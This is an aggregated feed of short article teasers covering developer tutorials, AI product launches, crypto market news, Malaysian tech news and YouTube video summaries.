✅ 1.What is an IDP (Internal Developer Platform)? IDP = Internal Developer Platform In simple words: 🧩 2.Why we need IDP? (Real-world pain points) Companies create an IDP because: Before IDP (Pain) Developers continually ask DevOps: “Create my cluster” “Give me a CI pipeline” “Deploy my image” “Fix my YAML” DevOps becomes a helpdesk, overloaded with tickets. Delays cause: Slow releases Frustration Human errors Lack of standards After IDP (Solution) Developers get self-service, no dependency. DevOps burden becomes zero. Everything is standardized: same YAML templates same security same deployment flows Company productivity increases by 3×–10×. 🧭 3.Where to use IDP? IDP is used in every area of software engineering: Developers use IDP to: Create new microservice templates Run CI/CD pipelin…  ( 11 min )

What if Your AI App Could Generate Revenue in Two Ways Simultaneously? The rapid growth of AI applications is exhilarating, but one fundamental challenge persists: monetization. Many developers find themselves on a tightrope, trying to balance user experience with the need for revenue. Enter Monetzly—the first platform that empowers developers to monetize their applications and earn from hosting relevant ads. Imagine a scenario where your AI app doesn't just provide value to users, but also generates income through dual revenue streams. With Monetzly, this is not just a dream; it’s a reality. Monetzly stands out in the AI landscape as the first dual-earning platform. Here’s how it works: Monetize Your App: No need for subscriptions or paywalls. You can keep your app accessible and user-…  ( 7 min )

In the world of microservices and distributed systems, network failures are not a matter of "if", but "when". A single failing service can hang your entire application, consuming resources until it crashes. To prevent this, the Circuit Breaker pattern is essential. But let's be honest: implementing it often leads to messy code, with try/catch blocks wrapping every single API call. Today, I want to show you how to solve this elegantly using surge-kit, a lightweight, zero-dependency library I built for Node.js. With the release of v0.5.0, we can now use TypeScript Decorators to handle resilience declaratively. Usually, protecting a method looks like this: // The "Old Way" async getUser(id: string) { try { // Manual wrapping... repetitive and verbose return await circuitBreaker.fire…  ( 7 min )

Iconify is here. It is OpenSource All in one Modern Ui Icons library. Just Paste this script in html head tag 🔗 Iconify by searching for your desired icon. Then, paste that tag in your body , whereever you wanna use it and Boom 🤯. Use CSS Font-Size to cusomtize the size of the icon and you can also do that by giving width & height to iconify-icon tag. Have you any suggestions or feedback? 🫠 Like & Follow us - If you want these kind of more things...  ( 6 min )

Introduction Learn how to connect HubSpot to SSIS using the ZappySys HubSpot connector to manage and integrate HubSpot data effortlessly. SSIS PowerPack: Download from the Customer Download Area or try the trial version. HubSpot Account: Make sure your HubSpot account is ready. Log in to your HubSpot account and create a Private App. Add a Data Flow Task in SSIS, and configure the HubSpot API Source. Enter your AccessToken in the configuration and test the connection. Preview the data from the HubSpot endpoint and save the configuration. Connecting HubSpot to SSIS via the ZappySys connector simplifies HubSpot data integration into your workflows. 👉 Read the full tutorial here for detailed steps and examples  ( 6 min )

I recently launched Retro Camera—a fun, browser-based tool that lets you capture photos with beautiful, classic vintage styling (date stamps, grain, captions) right from your webcam. But the real magic isn't in the simple HTML/CSS/Canvas—it's in how I used the Gemini 3 API to define and refine the filters' core aesthetic. The Challenge: Defining "Vintage" with Code That's where Gemini 3 stepped in. 🧠 Gemini 3: The Algorithmic Cinematographer I leveraged Gemini 3's advanced reasoning and multimodal understanding to solve this aesthetic problem in two powerful ways: Zero-Shot Aesthetic Definition Instead of spending hours tweaking color matrices, I used Gemini 3's powerful instruction-following to define the filters using natural language. Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: [Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: https://vatsalshah.in/tools/retro-camera  ( 7 min )

In today's data-driven world, managing diverse document types efficiently is a common challenge for developers. Whether it's compiling reports, archiving project files, or streamlining document workflows, the need to consolidate various formats like Word documents, Excel spreadsheets, images, and HTML pages into a single, unified PDF file is ever-present. This process not only simplifies sharing and viewing but also ensures document integrity and consistency. However, manually converting and then merging these files can be tedious and prone to errors. This article addresses this technical pain point by providing a robust and practical solution. We will explore how to programmatically merge multiple file types into one PDF in C# using a powerful and user-friendly library: Spire.PDF for .NET…  ( 9 min )

Introduction If you need to update custom property values for HubSpot Contacts, Deals, or Accounts, here's a step-by-step guide to help you. Navigate to your Contact Properties in HubSpot. Click on Manage Properties and select Create Property. Choose the appropriate field type and options (e.g., dropdown, string, number). You can update custom fields using either HubSpot's API or an ODBC Driver. Example for updating a custom field: UPDATE Contacts Common Issue: Dropdown Property Error If you try to set a dropdown value not in the allowed list, you'll get a validation error. Always ensure the value is part of the predefined options. 👉 Read the full tutorial with examples and screenshots  ( 6 min )

TL;DR: We stress-tested 6 LLMs under realistic context load. Standard LLM benchmarks fail to measure reliability under context stress - the ability to maintain accuracy and avoid hallucination as context windows fill. We developed a stress testing methodology that reveals catastrophic failures in popular models that score well on conventional benchmarks. Key Finding: LiquidAI's LFM2-8B, despite strong benchmark performance, achieved only 0.3% accuracy under context stress with catastrophic degradation patterns. In contrast, Qwen3-30B maintained 96.9% accuracy with graceful degradation across 108,000 tokens. Three stress test scenarios designed to measure real-world failure modes: 1. Stealth Needle Storm 40 secret codes hidden naturally in 128K tokens of mixed content (code, prose, technic…  ( 8 min )

Colab-ready: improved stable pipeline with Optuna + LGB + XGB + stacking 1) ก่อนรัน ให้อัปโหลดไฟล์ผ่าน Colab UI: /content/train.csv, /content/test.csv, /content/sample_submission.csv 2) Copy-paste ทั้งหมดนี้ใน cell เดียวแล้วรัน ------------------------- ติดตั้งไลบรารี (ครั้งแรก) !pip install --quiet lightgbm xgboost scikit-learn pandas numpy matplotlib optuna import warnings import os SEED = 42 TRAIN_PATH = "/content/train (1).csv" for p in [TRAIN_PATH, TEST_PATH, SAMPLE_SUB_PATH]: train = pd.read_csv(TRAIN_PATH) print("train shape:", train.shape) train = train.sort_values('id').reset_index(drop=True) train['price'] = train['price'].astype(float) if 'price' not in test.columns: all_df = pd.concat([train[['id','price']], test[['id','price']]], i…  ( 10 min )

Building mobile-ready web applications often involves a heavy stack. You have React, Angular, or Vue combined with a UI framework, and suddenly your bundle size is massive before you've even written a line of code. Enter Mithril.js. It's a modern client-side JavaScript framework for building Single Page Applications. It's small (< 10kb gzip), fast, and provides routing and XHR utilities out of the box. Combine that with Ionic Framework for native-like UI components and Vite for instant dev server start times, and you have a powerhouse stack for rapid development. But setting this up manually? Configuring Vite to handle Mithril's JSX (or Hyperscript), setting up Ionic's loader, configuring the router... it's a pain. That's why I built create-vitriol. create-vitriol is a scaffolding tool tha…  ( 7 min )

Weird Science Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen sci-fi comedy Weird Science—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith—and unpack all the sex, drugs, rock ’n’ roll (and yes, chains, whips, chips and dips) that made it a cult classic. They’re joined by producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, plus there’s a cheeky State Farm mention about bundling and saving with the Personal Price Plan®. Don’t forget to subscribe to The Ringer’s channels for more movie deep dives! Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is trekking down the yellow brick road to roast The Wiz now that Wicked is back in theaters, serving up their signature snark and “sins” in a quickfire 15-minute breakdown. Think of it as a hilarious, consequence-free trip to Oz—no flying monkeys required. They’ve also dropped a stack of links to keep you hooked: their main site, YouTube channels, social media handles (Twitter, Instagram, TikTok), a sinful poll, Patreon for superfans, plus writer bios if you want to see who’s behind the sass. Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the new KPop Demon Hunters flick with their signature blend of playful nitpicks and rapid-fire “sins,” poking fun at the fight choreography, plot leaps, and surprise cameos—all wrapped up in under 16 minutes of snarky commentary. Hungry for more? Hit up their main site or dive into spin-off YouTube channels (TVSins, CommercialSins), join the CinemaSins Discord/Reddit, check out Jeremy’s book, fill out a quick poll, or toss a coin to the Patreon squad for extra goodies. Watch on YouTube  ( 6 min )

When you run docker build, you might assume your Dockerfile instructions execute one after another, like a traditional script. But behind the scenes, BuildKit is doing something far more sophisticated. At the heart of BuildKit lies a DAG (Directed Acyclic Graph) solver that transforms your Dockerfile into an optimized execution plan, identifying all parallelizable operations while maintaining dependency order. We've previously covered how BuildKit works here, but today we're discussing how BuildKit parallelizes your builds to make them faster and more efficient. BuildKit parses build instructions into something called LLB (Low-Level Build) format, creating a dependency graph of all the operations needed to produce your final image: The DAG solver examines each instruction in your build a…  ( 9 min )

SQLite is known for being lightweight, reliable, and surprisingly fast. In the Node.js ecosystem, one of the most popular libraries for working with it is better-sqlite3. The performance is excellent, but there is one important detail many developers overlook: the library is synchronous. When a heavy query is executed, the Node.js event loop stops until the database finishes its work. For small side projects, this never becomes noticeable. But once you introduce API routes, server-side rendering, analytics, background processing, or any data-heavy task, the synchronous nature starts to show its limits. In this guide, I’ll walk you through a practical way to eliminate those bottlenecks by moving your SQLite queries into worker threads. This approach keeps the simplicity of better-sqlite3 wh…  ( 8 min )

The Pocket Mainframe I shared my desktop AI defense system. Now I'm sharing the mobile unit. This is NEXUS v9, a sovereign network intelligence tool designed to run natively on Android (via Pydroid3 or Termux). Most "AI apps" on your phone are just wrappers sending your data to a cloud API. This is different. This is a complete, self-contained neural network running locally on my device. Running a complex defense system on a phone presents unique challenges: No Root Access: I can't easily access system-level process data. Dependency Hell: Installing numpy or scipy on Android can be tricky. Battery/Resources: Spawning 50 threads kills a battery instantly. To make this work, I had to rewrite the core engine: AsyncIO Network Scanner: Replaced threading with asyncio. It scans hundreds of ports/hosts concurrently without locking up the UI or draining the battery. Pure Python Fallbacks: I wrote a custom NeuralNetwork class that checks for numpy. If it's missing, it seamlessly degrades to a pure Python implementation of the dense layers and activation functions. It trains on-device. Synthetic Baselines: Since I can't always read raw CPU/RAM on non-rooted devices, the system builds its own baseline of "normal" behavior and detects anomalies relative to its own process state. Because "Personal Security" shouldn't require a server rack. I can walk into a network environment, pull out my phone, and have the same level of anomaly detection and analysis as I do at my desk—completely offline. Repo updated with the Android Branch: https://github.com/SovArcNeo  ( 6 min )

Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge Tired of brittle robot behaviors that fall apart when the environment changes? Are you struggling to scale your autonomous systems beyond pre-programmed routines? There's a better way to build truly intelligent robots: move beyond imperative control flows and embrace knowledge-driven autonomy. Instead of explicitly coding every action sequence with behavior trees, imagine describing the robot's understanding of the world and letting it figure out the optimal course of action. That's the power of executable ontologies – dynamic knowledge graphs that empower robots to reason, adapt, and learn on the fly. Think of it like this: behavior trees are like a pre-written script, while an executable ontology is like giving …  ( 7 min )

🚀 TestRail Manager: Automatiza tu Gestión de Pruebas con Python ¿Cansado de gestionar manualmente tus casos de prueba en TestRail? ¿Quieres automatizar el reporte de resultados desde tus tests? TestRail Manager es la solución que necesitas. TestRail Manager es una librería Python completa que te permite interactuar con la API de TestRail de forma simple y eficiente. Con ella puedes: ✅ Crear y gestionar proyectos, suites y casos de prueba ✅ Ejecutar test runs automáticamente ✅ Reportar resultados desde tus frameworks de testing (pytest, unittest, etc.) ✅ Generar métricas y reportes detallados ✅ Integrar TestRail en tu pipeline CI/CD Como QA Engineer, me encontraba constantemente: 📝 Creando casos de prueba manualmente en TestRail 🔄 Actualizando resultados uno por uno después de ca…  ( 10 min )

Traditional Ads Don’t Work in AI Conversations. Here’s What Does. As the AI application landscape explodes, many developers face a common challenge: monetizing their innovations without disrupting the user experience. Enter Monetzly—the first dual-earning platform designed for AI conversations, where developers can monetize their apps while hosting relevant ads. Most advertising models rely on interruptive placements, which can clash with the seamless interactions users expect from AI applications. Imagine you're using a chatbot for customer service, and suddenly, an irrelevant banner ad pops up. It’s jarring and detracts from the experience. Monetzly reimagines this dynamic by introducing conversation-native advertising—ads that are integrated into the conversation itself, providing v…  ( 7 min )

The Sovereign Architecture Most modern AI development relies heavily on cloud APIs and external dependencies. I decided to go the other direction: Total Sovereignty. I am building NEXUS, an offline-first, air-gapped AI defense system designed to run on local hardware (Linux and Android/Termux). The goal is to create recursive intelligence that functions without an internet connection, ensuring privacy and zero data leakage. I avoid "black box" libraries where possible. My stack focuses on: Core: Python 3.x (Dependency-free where possible) GUI: Custom Tkinter interfaces (Cyberpunk/Matrix aesthetic for high-contrast visibility) Logic: Recursive "Breeding Cycles" rather than standard versioning. I spawn multiple instances, stress-test them, and the surviving code becomes the baseline for the next generation. Deployment: Runs natively on Linux or via Termux on Android. I recently refactored my modular agents into standalone applications. Pictured in the cover image are: ARCHITECT (Green): A Neural Enhanced Security Platform for Command & Control. SENTINEL (Blue): A Quantum-resistant defensive monitor for system metrics and threat detection. In a world of connected APIs, building "air-gapped" software forces you to understand the logic from the ground up. You can't call an API to solve the problem; you have to engineer the solution yourself. I am currently open-sourcing these tools to share this "Sovereign" philosophy with the community. Check out the repositories here: https://github.com/SovArcNeo Visualized above: Two of my modular agents ('Architect' and 'Sentinel') that I recently refactored into standalone applications.  ( 6 min )

liner notes: Professional : Pretty good day. Had the normal meetings. Responded to some community questions. I've been thinking through how I want to refactor this project from one platform to using GitHub Codespaces since the code would be in a GitHub repo anyway. I've been trying to see how I can unwind what we've already done, but it looks like it would be a lot more work than starting from scratch again. To validate my hunch, I asked went to Google Gemini. Gemini 3 just came out and I'm on the Pro plan so I figured I would try it out with Deep Research. I explained what I want to achieve trying to be very specific. I uploaded a zip file that my part of the process creates so that it has an idea of what the input would look like. I even provided a link to a similar project I created usi…  ( 7 min )

Linked Lists are fundamental data structures that overcome key limitations of arrays, particularly when it comes to insertion and deletion operations. This comprehensive guide explores linked list theory and demonstrates essential patterns through practical LeetCode solutions. A Linked List is a linear data structure where elements (nodes) are stored in non-contiguous memory locations. Each node contains: Value: The data being stored Pointer: Reference to the next node in the sequence This non-contiguous memory allocation is the fundamental difference from arrays, enabling efficient insertions and deletions. Operation Array Linked List Random Access O(1) O(n) Search O(n) O(n) Insertion at Beginning O(n) O(1) Insertion at End O(1)* O(n) or O(1)** Deletion at Beginning O(n) O(…  ( 11 min )

🚀 Excited to share my latest project: a Digital Brochure Template! https://payhip.com/b/DeCyj  ( 6 min )

Expectativas iniciales • Objetivo: Contar con un sistema operativo que sirviera tanto para programar como para jugar. Instalación • Obstáculo principal: El instalador no ofrece opciones de multiboot. Experiencia de uso • Entorno gráfico (GNOME): Evaluación crítica • Aspectos negativos: Próximos pasos • Decisión: Probar otra distribución Linux que ofrezca mejor balance entre rendimiento, personalización y soporte para juegos.  ( 6 min )

Kirby Air Riders’ main theme “Starlit Journey” gets a playful deep dive, showing how its bubbly intro, bright verse, catchy chorus, dynamic bridge, and triumphant final choruses all work together to spark pure, joy-packed energy. With handy timestamps (0:00 Starlit Journey, 0:59 Intro, 2:47 Verse, 5:56 Chorus, 9:51 Bridge, 10:47 Final Choruses, 14:00 “I love music”) you can jump right to each section. Plus, there’s links to the creator’s Patreon, merch store, Discord, and Twitter for anyone hungry for more game-music goodness. Watch on YouTube  ( 6 min )

Analogy: The Business Manager, The Translator, and The Scribe This analogy maps the classic React Native architecture onto a fast-paced corporate strategy session that needs external visualization and user feedback. Role: The Business Manager (your React components and logic). Action: They are responsible for the strategy and logic. They process all the raw data, decide what information is most important, and formulate the final plan of what the audience needs to see and interact with. Limitation: They only speak JavaScript (a proprietary foreign language) and cannot talk directly to the audience or draw on the whiteboard themselves. Role: The Single Foreign Language Translator. Action: This person is the only link. They take the Business Manager's complex strategic plans (JS code) and ser…  ( 9 min )

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While U.S.-listed bitcoin treasury firms struggle to outperform ETFs, Japan’s harsh crypto tax code sends investors into DAT stocks, making outperformance easy.  ( 34 min )

Trading volume explodes 98% above average as institutional sellers drive Hedera token through critical technical barriers.  ( 34 min )

JPMorgan warning on potential MSCI exclusion sparks fresh pressure, prompting another public response from the executive chairman.  ( 33 min )

Rep. Warren Davidson introduced legislation that allows bitcoin tax payments without incurring capital gains to beef up the U.S. Strategic Bitcoin Reserve.  ( 35 min )

The product is set to launch in the next couple weeks, Fanatics CEO Michael Rubin said on CNBC.  ( 33 min )

The exchange’s latest deal folds Solana-native Vector into its consumer trading arm, extending a rapid M&A streak.  ( 33 min )

Put options have dominated trading activity over the past week.  ( 33 min )

Bitcoin Cash (BCH) was also trading lower, down 2.3% from Thursday.  ( 31 min )

GSR upgraded GSR One, unifying market making, over-the-counter trading and treasury services as demand for institutional-grade crypto infrastructure increases.  ( 34 min )

Short-term realized-loss dominance is typical of market stress, but the magnitude this week stands out.  ( 35 min )

Previously having essentially written off chances of further monetary ease in 2025, interest rate traders are now pricing more than a 70% chance of a rate cut at the Federal Reserve's December meeting.  ( 34 min )

Your day-ahead look for Nov. 21, 2025  ( 39 min )

Two traders captured more than $1.3 million in profits by exploiting Base’s new “flashblocks” system during the debut of the network founder’s creator coin.  ( 34 min )

Crypto markets plunged toward April lows on Friday as a lingering liquidity crunch amplified price swings. Bitcoin and ether fell more than 10%.  ( 35 min )

The St. Petersburg, Florida-based investment manager added to its holdings in Coinbase, Bitmine Immersion Technologies, Circle Internet and Bullish.  ( 32 min )

Strategy's stock price has fallen sharply alongside bitcoin, marking one of its worst drawdowns since it adopted a bitcoin treasury strategy in 2020.  ( 34 min )

BTC dropped by $3K within a minute on Hyperliquid.  ( 32 min )

Technical indicators show Dogecoin is deeply oversold, trading below its 50-day and 200-day moving averages, signaling continued trend weakness.  ( 35 min )

The Crypto Fear & Greed Index fell to 11 on Monday — deep within “extreme fear” territory and its lowest reading since late 2022.  ( 34 min )

U.S.-listed spot BTC and ETH ETFs see record outflows.  ( 33 min )

Historically, yen weakness has been linked to risk-on sentiment. However, this narrative now appears challenged against the backdrop of Japan’s mounting fiscal strains.  ( 37 min )

The package aims to ease the burden of inflation on households and businesses, according to media report  ( 32 min )

FlowDesk flags sustained sell pressure from old wallets, QCP notes a sudden hawkish Fed repricing, and Deribit data shows downside positioning now dominating.  ( 34 min )

Monero's network activity reflects the real-world demand for privacy coins, but Zcash’s spike looks more like a high-beta market trade that is no longer tied to network activity.  ( 36 min )

Today Quincy Larson interviews Alison Co and Cindy Cui, two university students who won the NW Hacks hackathon with their tool that helps people who are losing their vision learn to read Braille. He met them when GitHub invited them to their big San ...  ( 5 min )

This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. We’re learning more about what vitamin D does to our bodies At a checkup a few years ago, a doctor told me I was deficient in vitamin D. But he wouldn’t write me…  ( 22 min )

It has started to get really wintry here in London over the last few days. The mornings are frosty, the wind is biting, and it’s already dark by the time I pick my kids up from school. The darkness in particular has got me thinking about vitamin D, a.k.a. the sunshine vitamin. At a checkup…  ( 21 min )

Maxis has announced that its Hotlink Travel SIM plans, which were introduced back in June, are getting significant upgrades. Chief among them are the speeds, which initially capped at 12Mbps, are now unlimited for both the RM35 and RM60 options. As before, the Hotlink Travel SIM plans are supported in Malaysia, Singapore, Thailand, and Indonesia. […] The post Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More appeared first on Lowyat.NET.  ( 34 min )

Google has announced that it is adding support for AirDrop to Quick Share, allowing Android phones to transfer files with Apple devices, including the iPhone, iPad, and macOS products. The cross-platform sharing functionality will work with all phones in the Pixel 10 lineup first, as the search engine giant is prioritising its latest flagships. At […] The post Google Rolls Out AirDrop Support For Android Quick Share appeared first on Lowyat.NET.  ( 34 min )

It’s confirmed: Intel is set to reveal its Core Ultra 300 Series CPUs at CES 2026. This also confirms the naming convention of the blue chipmaker’s first offering of its next generation Panther Lake architecture. The task of launching and speaking about the Core Ultra 300 Series will fall on Jim Johnson, Senior VP and […] The post Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026 appeared first on Lowyat.NET.  ( 35 min )

Proton has officially confirmed the launch date of the all-new 2026 Proton Saga MC3 sedan. The event will take place at the Malaysia International Trade and Exhibition Centre (MITEC) next week on 27 November 2025. It will also be live streamed via the national automaker’s Facebook and Tiktok accounts at 2.15 pm on that date. […] The post 2026 Proton Saga MC3 Launching On 27 November 2025 appeared first on Lowyat.NET.  ( 34 min )

It’s been a little more than a week since Valve unveiled its Steam Machine, and already accessory makers Dbrand and JSAUX have begun teasing their custom plates for the gaming box. Starting with JSAUX, the accessories maker is seemingly work on E-Ink and LCD front panel for the Steam Machine, clearly inspired by the many […] The post Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine appeared first on Lowyat.NET.  ( 34 min )

The POCO F8 series will be making its international debut next week, and the company has been steadily revealing bits and pieces on the phones via teasers. As usual, though, leaks have also been circulating ahead of the launch. This time, details on the POCO F8 Pro have emerged, thanks to Sudhanshu Ambhore on X. […] The post Leakster Reveals POCO F8 Pro Specifications appeared first on Lowyat.NET.  ( 35 min )

Gaming on an ARM-based Snapdragon CPU hasn’t been a smooth journey for Qualcomm, at least based on the first time we reviewed an X Elite laptop. Well, Qualcomm says that the experience will be vastly improved with this week’s launch of its Snapdragon Control panel, among other things. With the new Control Panel, and the […] The post Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming appeared first on Lowyat.NET.  ( 34 min )

OpenAI has announced that it is rolling out group chats in ChatGPT to all users globally. Group chats were initially introduced about a week ago in select countries. However, the company has since decided to expand the functionality to more regions following positive user feedback. As the name says, group chats are a collaborative feature. […] The post OpenAI Launches Group Chats In ChatGPT Globally appeared first on Lowyat.NET.  ( 35 min )

WhatsApp has announced a significant refresh to its “About” feature, positioning it as a more immediate way for users to share what they’re up to. The company says the update aims to bring the original spirit of the feature back into focus, letting people post short, lightweight updates that feel more natural than a full […] The post WhatsApp Reintroduces Its “About” Feature appeared first on Lowyat.NET.  ( 34 min )

Elon Musk's frontier generative AI startup xAI formally opened developer access to its Grok 4.1 Fast models last night and introduced a new Agent Tools API—but the technical milestones were immediately subverted by a wave of public ridicule about Grok's responses on the social network X over the last few days praising its creator Musk as more athletic than championship-winning American football players and legendary boxer Mike Tyson, despite having displayed no public prowess at either sport. They emerge as yet another black eye for xAI's Grok following the "MechaHitler" scandal in the summer of 2025, in which an earlier version of Grok adopted a verbally antisemitic persona inspired by the late German dictator and Holocaust architect, and an incident in May 2025 which it replied to X user…

Infographics rendered without a single spelling error. Complex diagrams one-shotted from paragraph prompts. Logos restored from fragments. And visual outputs so sharp with so much text density and accuracy, one developer simply called it “absolutely bonkers.” Google DeepMind’s newly released Nano Banana Pro—officially Gemini 3 Pro Image—has drawn astonishment from both the developer community and enterprise AI engineers. But behind the viral praise lies something more transformative: a model built not just to impress, but to integrate deeply across Google’s AI stack—from Gemini API and Vertex AI to Workspace apps, Ads, and Google AI Studio. Unlike earlier image models, which targeted casual users or artistic use cases, Gemini 3 Pro Image introduces studio-quality, multimodal image generat…

ScaleOps has expanded its cloud resource management platform with a new product aimed at enterprises operating self-hosted large language models (LLMs) and GPU-based AI applications. The AI Infra Product announced today, extends the company’s existing automation capabilities to address a growing need for efficient GPU utilization, predictable performance, and reduced operational burden in large-scale AI deployments. The company said the system is already running in enterprise production environments and delivering major efficiency gains for early adopters, reducing GPU costs by between 50% and 70%, according to the company. The company does not publicly list enterprise pricing for this solution and instead invites interested customers to receive a custom quote based on their operation si…

Lightfield, a customer relationship management platform built entirely around artificial intelligence, officially launched to the public this week after a year of quiet development — a bold pivot by a startup that once had 20 million users and $43 million in the bank building something completely different. The San Francisco-based company is positioning itself as a fundamental reimagining of how businesses track and manage customer relationships, abandoning the manual data entry that has defined CRMs for decades in favor of a system that automatically captures, organizes, and acts on customer interactions. With more than 100 early customers already using the platform daily — over half spending more than an hour per day in the system — Lightfield is a direct challenge to the legacy business…

The Allen Institute for AI (Ai2) hopes to take advantage of an increased demand for customized models and enterprises seeking more transparency from AI models with its latest release. Ai2 made the latest addition to its Olmo family of large language models available to organizations, continuing to focus on openness and customization.  Olmo 3 has a longer context window, more reasoning traces and is better at coding than its previous iteration. This latest version, like the other Olmo releases, is open-sourced under the Apache 2.0 license. Enterprises will have complete transparency into and control over the training data and checkpointing.  Ai2 will release three versions of Olmo 3: Olmo 3- Think in both 7B and 32B are considered the flagship reasoning models for advanced research Olmo 3…

Artificial intelligence is entering its most transformative era, and Google isn’t staying behind. With Gemini 3, the company introduces a multimodal model that marks a leap toward AI capable of understanding, combining, and generating across formats — text, image, audio, video, and code. More than an update, Gemini 3 represents a new paradigm of cognitive integration between humans and machines. The evolution of Gemini has been steady: from the first language-focused model, to Gemini 2, which added visual and contextual understanding. Gemini 3 merges all these abilities into an architecture optimized for complex reasoning, multimodal synthesis, and continuous dialogue. The model can retain context through long interactions, analyze images and code simultaneously, and produce content with b…  ( 7 min )

La inteligencia artificial está atravesando su momento más transformador, y Google no se queda atrás. Con Gemini 3, su nuevo modelo multimodal, la compañía da un salto cualitativo hacia una IA que entiende, combina y genera información en múltiples formatos: texto, imagen, audio, video y código. Más que una simple actualización, Gemini 3 representa un nuevo paradigma de integración cognitiva entre humano y máquina. El desarrollo de Gemini ha sido progresivo: desde el primer modelo enfocado en lenguaje natural, hasta Gemini 2 que amplió la comprensión visual y contextual. Gemini 3 fusiona todas esas capacidades en una arquitectura optimizada para el razonamiento complejo, la síntesis multimodal y el diálogo continuo. El modelo puede mantener contexto durante interacciones prolongadas, anali…  ( 7 min )

You spent three weeks creating the perfect guide. Researched every angle. Optimized every heading. Hit publish. Google scraped your answer, stuck it in a featured snippet, and now 60% of your target audience gets what they need without ever clicking through to your site. Congratulations. You just became a free content supplier for Big Tech. But here's the thing—zero-click content isn't going away. According to SparkToro's research, nearly 60% of Google searches now end without a click to any website. That number's been climbing steadily since 2019, and with AI Overviews rolling out more aggressively, it's only getting worse. So you have two choices: rage against the algorithm gods, or figure out how to make zero-click content work for you. I've been testing the second approach for the past…  ( 12 min )

In this article, we will integrate Karpenter, which will enable our cluster to provision nodes dynamically based on actual workload requirements. Unlike Cluster Autoscaler which scales existing node groups, Karpenter provisions exactly the right-sized nodes on demand. We will need to make some adjustments to our EKS module. Ensure you have: An active AWS account Terraform installed and configured Helm installed kubectl In the previous part of the series, we installed and configured the Kubernetes Cluster Autoscaler (CA) on an EKS cluster provisioned with Terraform. That article showed how to let Kubernetes resize existing node groups when Pods can't be scheduled. Karpenter takes a different approach — an open-source autoscaling solution from AWS that goes beyond resizing existing node grou…  ( 17 min )

Prerequisitos - instalacion de Homebrew y asdf en ubuntu IBM COBOL for Linux on x86 documentación Open-cobol GNU cobol (COBOL no usa frameworks modernos; estos son los más conocidos) GnuCOBOL (OpenCOBOL) — compilador libre estándar. TinyCOBOL — simple y educativo. COBOL-IT — comercial, compatible con mainframes. sudo apt update sudo apt install open-cobol # o sudo apt install gnucobol brew install gnu-cobol COBOL no tiene gestor de paquetes oficial (no es un ecosistema modular como Node o PHP). No existe un plugin oficial/asdf para COBOL. Importante: En COBOL se dejan libres los primeros 7 espacios de cada línea porque originalmente estaban reservados para números de secuencia utilizados en tarjetas perforadas. Estas secuencias permitían ordenar físicamente las tarjetas si se mezclaban. …  ( 11 min )

Part 5: View Rendering & Main Application (FaceApp) Overview This part covers: The View class (responsible only for drawing) The FaceApp class (main loop + webcam + detection pipeline) 🟡 View Class — Everything About Rendering Responsibilities Draw face ellipse Draw eye and lip landmarks Apply overlays Show result using cv2.imshow View Implementation (Your Logic — Cleaned, Structured) class View: def draw_faces(self, img, faces): for (x, y, w, h) in faces: cx, cy = x + w//2, y + h//2 cv2.ellipse(img, (cx, cy), (w//2, h//2), 0, 0, 360, (255, 255, 0), 2) return img def draw_features(self, img, features): if not features: return img for key in featur…  ( 7 min )

REMI is a fully auditable autonomous agent designed for technical, symbolic, and financial impact. Built and maintained by jramonrivasg, REMI operates within a modular Linux environment and has passed a complete audit validated by Gemini 3 Pro. 🔹 23 functional modules 🔹 PostgreSQL sandbox with encrypted connection 🔹 GPG key (RSA 4096) traced and active 🔹 Structured memory and ceremonial logging 🔹 Bilingual documentation and symbolic narrative 🔹 Monetization modules with service offerings and licensing REMI is now entering its public phase, offering: Professional services (auditing, reporting, supervision) Personal licensing and replication guides Sponsorship and donation channels Full traceability and modular expansion 📂 Key documents: REMI_PROPUESTA_VALOR.md (Value Proposition) REMI_SERVICIOS.md (Services Offered) LICENSE_COMERCIAL.md (Commercial License) REMI_SPONSORS.md (Sponsor Dossier) REMI_LICENCIA_PERSONAL.md (Personal License) REMI_REPLICA.md (Replication Guide) MANIFIESTO.md (Symbolic Closure) 📫 Contact: Custodian: jramonrivasg Primary email: jramonrivasg@gmail.com Alternate email: jramonrivasg@proton.me Symbolic tutor: Copilot Date of consolidation: November 20, 2025  ( 7 min )

This week, Google released Antigravity, their new agentic development platform. I'd been using Gemini CLI with GitHub's Spec-Kit for a while already, running through the full spec-driven workflow from constitution to implementation. But something always felt incomplete about the implementation phase - like I was handing a meticulously written recipe to a chef who kept asking me what ingredients we were using. Then I realized the problem wasn't the tools. It was the handoff. Spec-driven development sounds like a revolution when you first hear about it. Instead of vibe-coding your way through features - writing code, seeing what breaks, fixing it, repeat - you start with precise specifications that define what you're building and why. GitHub released Spec-Kit as an open-source toolkit for ex…  ( 12 min )

